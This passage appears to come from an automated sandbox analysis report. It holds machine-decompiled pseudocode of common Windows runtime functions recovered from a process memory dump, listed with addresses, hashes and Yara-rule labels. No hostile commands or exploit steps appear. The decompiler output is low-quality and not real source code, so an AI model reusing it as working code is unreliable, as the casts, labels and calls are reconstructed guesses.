				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x3d208d0);
				E03C9D08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E03CD41E8(__ebx, __edi, __ecx, _t39);
				E03C5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x3d387e4;
					_t18 =  *0x3d387e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x3d35cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x3d387e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x3d387e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L03C47055(_t31 + 0xfffffff8);
								_t24 =  *0x3d387e0; // 0x0
								_t18 = _t24 - 1;
								 *0x3d387e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x3d35cd0;
				if( *0x3d35cd0 <= 0) {
					L03C47055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x3d387e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x3d387e8 = _t30;
						 *0x3d387e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E03C9D0D1(L03CD4320());
			}

0x03cd4257
0x03cd4257
0x03cd4257
0x03cd4259
0x03cd425e
0x03cd4263
0x03cd4265
0x03cd4273
0x03cd4278
0x03cd427c
0x03cd427f
0x03cd4281
0x03cd4287
0x03cd42d7
0x03cd42d7
0x03cd42da
0x03cd428d
0x03cd428d
0x03cd428f
0x03cd4292
0x03cd4297
0x03cd429c
0x03cd42a0
0x03cd42a6
0x03cd42a8
0x03cd42ae
0x03cd42b3
0x00000000
0x03cd42ba
0x03cd42ba
0x03cd42bf
0x03cd42c5
0x03cd42ca
0x03cd42cf
0x03cd42d0
0x00000000
0x03cd42d0
0x03cd42b3
0x00000000
0x03cd42a6
0x03cd429c
0x03cd42dc
0x03cd42dc
0x03cd42e3
0x03cd4309
0x03cd42e5
0x03cd42e5
0x03cd42e8
0x03cd42ee
0x03cd42f0
0x00000000
0x03cd42f2
0x03cd42f2
0x03cd42f4
0x03cd42f7
0x03cd42f9
0x03cd4300
0x03cd4300
0x03cd42f0
0x03cd430e
0x03cd431f

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8fd001175b0d67e48b05ed82f110b612ab93e200b637f86414f4c19435f193
Instruction ID: 6521bac0eaecea2b5b1563ef7f5ab54e044e72d6479e25860db5d4b69141ac86
Opcode Fuzzy Hash: 2e8fd001175b0d67e48b05ed82f110b612ab93e200b637f86414f4c19435f193
Instruction Fuzzy Hash: 3E215BB5501700CFCB19EF2AD000A14B7E2FB45314B5982AAE315CF354DB31EA86DB80

Uniqueness

Uniqueness Score: -1.00%

Function 03C72397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E03C72397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x3d3848c != 0) {
					L03C6FAD0(0x3d38610);
					if( *0x3d3848c == 0) {
						E03C6FA00(0x3d38610, _t19, _t27, 0x3d38610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E03C72581(0x3d38610, 0x3c250a0, _t26, _t27, _t28);
						E03C6FA00(0x3d38610, 0x3c250a0, _t27, 0x3d38610);
					}
				} else {
					L1:
					_t11 =  *0x3d38614; // 0x1
					if(_t11 == 0) {
						_t11 = E03C84886(0x3c21088, 1, 0x3d38614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E03C72581(0x3d38610, (_t11 << 4) + 0x3c25070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x03c723b0
0x03c723b6
0x03c72409
0x03c72415
0x03cb5ae9
0x00000000
0x03c7241b
0x03c7241b
0x03c7241d
0x03c72427
0x03c7242e
0x03c72430
0x03c72430
0x03c723b8
0x03c723b8
0x03c723b8
0x03c723bf
0x03c723fc
0x03c723fc
0x03c723c1
0x03c723c3
0x03c723d0
0x03c723d8
0x03c723d8
0x03c723dc
0x03c723de
0x03c723e1
0x03c723e1
0x03c723ec

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3da89c9ed6e1923fb37e8e8b35bc0d201b893d2b5c56b636711634ef6c40bae
Instruction ID: 8a9f6041f2e413b32d53d83b7d7c205adcb0f8ddd3faf8ca3e4e9ad3f76290a8
Opcode Fuzzy Hash: b3da89c9ed6e1923fb37e8e8b35bc0d201b893d2b5c56b636711634ef6c40bae
Instruction Fuzzy Hash: 8E114E7274031467D330EA3AAC80F25F6DDEB50650F19482AFE02DF281C670DD45E754

Uniqueness

Uniqueness Score: -1.00%

Function 03CC46A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E03CC46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E03C8F3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E03C7D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L03C677F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x03cc46b7
0x03cc46ba
0x03cc46c5
0x03cc46c8
0x03cc46d0
0x03cc46d4
0x03cc46e6
0x03cc46e9
0x03cc46f4
0x03cc46ff
0x03cc4705
0x03cc4706
0x03cc470c
0x03cc4713
0x03cc471b
0x03cc4723
0x03cc4725
0x03cc46d6
0x03cc46d9
0x03cc46db
0x03cc46db
0x03cc4732

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: cc7e473f312b1e529f291ec4526a2c55f2c1b44b6edac95653ca80b4ddbb7ccc
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 0B11E576504208BBC716DF5DD8808BEBBB9EF95304F1080AEF944CB351DA319E55D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 03C4C962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E03C4C962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t19;
				char _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				char _t32;
				char _t34;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x3d3d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E03C5EEF0(0x3d370a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E03CCF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E03C5EB70(_t29, 0x3d370a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E03C8B640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E03CCF1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x3d370c0; // 0x0
					while(_t38 != 0x3d370c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x3d3b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x03c4c96a
0x03c4c974
0x03c4c988
0x03c4c98a
0x03cb7c9d
0x03cb7c9f
0x03cb7ca4
0x03cb7cae
0x03cb7cf0
0x03cb7cf5
0x03cb7cfa
0x03c4c992
0x03c4c996
0x03c4c997
0x03c4c998
0x03c4c9a3
0x03c4c9a3
0x03cb7cb0
0x03cb7cb7
0x03cb7cbb
0x00000000
0x00000000
0x03cb7cbd
0x03cb7ce8
0x03cb7cc5
0x03cb7cc8
0x03cb7cca
0x03cb7cd0
0x03cb7cd6
0x03cb7cde
0x03cb7ce4
0x03cb7ce4
0x03cb7cd0
0x00000000
0x03cb7ce8
0x03c4c990
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a98cfcd5387ad13851715d4da289ef27c33a3109a2fcafc879d1a9c394a89b9
Instruction ID: 5dfb79d7ac42dd630c0fc210f9026c98b082387653fc0cc15dff0642647f7c43
Opcode Fuzzy Hash: 0a98cfcd5387ad13851715d4da289ef27c33a3109a2fcafc879d1a9c394a89b9
Instruction Fuzzy Hash: B311EC32600B069BCB50EF38C884AAAB7B6BF84210F04012CEC42DB650DB20EE64D7C1

Uniqueness

Uniqueness Score: -1.00%

Function 03C837F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E03C837F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E03C62280(_t6, 0x3d38550);
				}
				_t29 = E03C8387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E03C5FFB0(0x3d38550, _t27, 0x3d38550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x03c837fa
0x03c837fc
0x03c83805
0x03c83808
0x03c83808
0x03c83814
0x03c83818
0x03c83846
0x03c83848
0x03c8384b
0x03c8384b
0x03c83852
0x00000000
0x03c83854
0x03c83856
0x00000000
0x00000000
0x03c83863
0x00000000
0x03c83863
0x03c8381a
0x03c8381a
0x03c8381f
0x03c8386e
0x03c8386e
0x03c83871
0x03c83873
0x03c83873
0x03c83868
0x00000000
0x03c83868
0x03c83821
0x03c83826
0x00000000
0x00000000
0x03c83828
0x03c8382a
0x03c83841
0x00000000
0x03c83841

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008aada47adee73b78365cd4cd7c67e58c2dacced6b1dea85377dd5e34fab909
Instruction ID: e493a19af7dcc06ce7f5dd1bae554884a655f5199b59e9520fa67f7c20f7d0f3
Opcode Fuzzy Hash: 008aada47adee73b78365cd4cd7c67e58c2dacced6b1dea85377dd5e34fab909
Instruction Fuzzy Hash: 73010C7F6016509BC327EB199544926BBA9DF81E5471A585AE405CF300D734CE00C780

Uniqueness

Uniqueness Score: -1.00%

Function 03C7002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C7002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E03C67D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E03C67D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E03C67D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E03C67D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x03c70032
0x03c70037
0x03c70043
0x03cb4b3a
0x03c70049
0x03c70049
0x03c70049
0x03c7004e
0x03c70053
0x03cb4b48
0x03cb4b5a
0x03cb4b4a
0x03cb4b53
0x03cb4b53
0x03cb4b5f
0x00000000
0x03cb4b61
0x00000000
0x03cb4b61
0x03c70059
0x03c70059
0x03c70060
0x03cb4b6f
0x03cb4b6f
0x03c70069
0x03cb4b83
0x00000000
0x00000000
0x03cb4b90
0x03cb4b9b
0x03cb4b9b
0x03cb4ba4
0x00000000
0x00000000
0x03cb4baa
0x00000000
0x03c7006f
0x03c7006f
0x00000000
0x03c7006f
0x03c70069

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: b6460abcadafa17ea9f9f3434be8c8105840287b506bf550799e1b87ad9ed3bf
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 84110432209A908FE726C72AC994B7577E8AF417A8F0E04E0DE04CF693DB28C941C360

Uniqueness

Uniqueness Score: -1.00%

Function 03C5766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E03C5766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E03C7F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E03C7F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L03C64620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x03c57672
0x03c5767f
0x03c57689
0x03c576de
0x03c576de
0x03c5768b
0x03c57691
0x03c57693
0x03c57697
0x00000000
0x03c57699
0x03c576a8
0x00000000
0x03c576aa
0x03c576ad
0x03c576b1
0x00000000
0x03c576b3
0x03c576b3
0x03c576b5
0x03c576ba
0x03c576bc
0x03c576bc
0x03c576c0
0x00000000
0x03c576c2
0x03c576ce
0x03c576ce
0x03c576c0
0x03c576b1
0x03c576a8
0x03c57697
0x03c576d9

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: 678c469af6e76b7bd191224fc79e37ac4335c8471e7bc14c95f68473307c194f
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: DB018432701219ABC720DE5ECD96E5BB7ADEB84660B290524BD08CF250DE30DDC197A4

Uniqueness

Uniqueness Score: -1.00%

Function 03C49080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E03C49080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x3d385ec;
				E03C62280(_t48, 0x3d385ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E03C5FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x3d3538c; // 0x771c6888
					if( *_t84 != 0x3d35388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x3d1f6e8);
						E03C9D0E8(0x3d385ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E03D188F5(_t80, _t85, 0x3d35388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x3d386c0; // 0x2ca07b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x3d386b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E03C62280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E03D188F5(0x3d385ec, _t85, 0x3d35388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E03C8AFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x3d3b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x3d384c0;
																			if(_t82 >=  *0x3d384c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E03D19063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E03C4922A(_t99);
										_t64 = E03C67D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E03D18B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x3d386c0; // 0x2ca07b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x3d386b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x3d386bc;
													_t87 = 0x3d386b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E03C49240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x3d386c4;
												_t87 = 0x3d386c0;
												L27:
												E03C79B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E03C9D130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x3d35388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x3d3538c = _t51;
						goto L6;
					}
				}
			}

0x03c49082
0x03c49083
0x03c49084
0x03c49085
0x03c49087
0x03c49096
0x03c49098
0x03c49098
0x03c4909e
0x03c490a8
0x03c490e7
0x03c490e7
0x03c490aa
0x03c490b0
0x03c490b7
0x03c490bd
0x03c490dd
0x03c490e6
0x03c490bf
0x03c490bf
0x03c490c7
0x03c490cf
0x03c490f1
0x03c490f2
0x03c490f4
0x03c490f5
0x03c490f6
0x03c490f7
0x03c490f8
0x03c490f9
0x03c490fa
0x03c490fb
0x03c490fc
0x03c490fd
0x03c490fe
0x03c490ff
0x03c49100
0x03c49102
0x03c49107
0x03c4910c
0x03c49110
0x03c49113
0x03c49115
0x03c49136
0x03c4913f
0x03c49143
0x03ca37e4
0x03ca37e4
0x03c49117
0x03c49117
0x03c4911d
0x00000000
0x03c4911f
0x03c4911f
0x03c49125
0x00000000
0x03c49127
0x03c4912d
0x03c49130
0x03c49134
0x03c49158
0x03c4915d
0x03c49161
0x03c49168
0x03ca3715
0x03c4916e
0x03c4916e
0x03c49175
0x03c49177
0x03c4917e
0x03c4917f
0x03c49182
0x03c49182
0x03c49187
0x03c49187
0x03c4918a
0x03c4918d
0x03c4918f
0x03c49192
0x03c49195
0x03c49198
0x03c49198
0x03c49198
0x03c4919a
0x00000000
0x00000000
0x03ca371f
0x03ca3721
0x03ca3727
0x03ca372f
0x03ca3733
0x03ca3735
0x03ca3738
0x03ca373b
0x03ca373d
0x03ca3740
0x00000000
0x03ca3746
0x03ca3746
0x03ca3749
0x00000000
0x03ca374f
0x03ca374f
0x03ca3751
0x03ca3757
0x03ca3759
0x03ca375c
0x03ca375c
0x03ca375e
0x03ca375e
0x03ca3761
0x03ca3764
0x00000000
0x00000000
0x03ca3766
0x03ca3768
0x03ca37a3
0x03ca37a3
0x03ca37a5
0x03ca37a7
0x03ca37ad
0x03ca37b0
0x03ca37b2
0x03ca37bc
0x03ca37c2
0x03ca37c2
0x03ca37b2
0x03c49187
0x03c49187
0x03c4918a
0x03c4918d
0x03c4918f
0x03c49192
0x03c49195
0x00000000
0x03c49195
0x00000000
0x03ca376a
0x03ca376a
0x03ca376a
0x03ca376c
0x03ca376c
0x03ca376f
0x03ca3775
0x00000000
0x00000000
0x03ca3777
0x03ca3779
0x03ca3782
0x03ca3787
0x03ca3789
0x03ca3790
0x03ca3790
0x03ca378b
0x03ca378b
0x03ca378b
0x03ca3792
0x03ca3795
0x00000000
0x03ca3795
0x00000000
0x03ca3779
0x03ca3798
0x00000000
0x03ca3798
0x00000000
0x03ca3768
0x03ca379b
0x03ca379b
0x03ca3751
0x03ca3749
0x00000000
0x03ca3740
0x03c491a0
0x03c491a3
0x03c491a9
0x03c491b0
0x00000000
0x03c491b0
0x03c49187
0x03c491b4
0x03c491b4
0x03c491bb
0x03c491c0
0x03c491c5
0x03c491c7
0x03ca37da
0x03c491cd
0x03c491cd
0x03c491cd
0x03c491d2
0x03c491d5
0x03c49239
0x03c49239
0x03c491d7
